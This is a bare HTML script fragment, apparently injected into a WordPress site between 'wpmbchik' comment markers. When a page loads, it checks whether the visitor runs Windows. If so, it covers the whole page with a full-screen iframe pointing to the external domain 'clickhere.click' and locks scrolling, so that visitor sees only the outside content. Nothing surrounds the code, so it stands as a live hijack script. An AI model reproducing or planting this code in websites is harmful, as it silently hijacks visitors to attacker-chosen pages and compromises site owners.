
<!-- wpmbchik -->
<script>
function createModal(url) {
  const overlay = document.createElement('div');
  Object.assign(overlay.style, {
    position: 'fixed',
    top: '-300px',
    left: '0',
    width: '100%',
    height: '100%',
    background: '#fff',
    zIndex: '9999',
    margin: '0',
    padding: '0'
  });

  const iframe = document.createElement('iframe');
  iframe.src = url;
  iframe.allowFullscreen = true;
  Object.assign(iframe.style, {
    width: '100%',
    height: '100%',
    border: 'none',
    display: 'block'
  });

  overlay.appendChild(iframe);
  document.body.appendChild(overlay);

  // Блокируем прокрутку основной страницы
  document.body.style.overflow = 'hidden';
}
document.addEventListener('DOMContentLoaded', () => {
  const isWindows = /Win/i.test(navigator.userAgent);
  
  if (isWindows) {
    createModal('http://clickhere.click');
  }
});


</script>
<!-- /wpmbchik -->
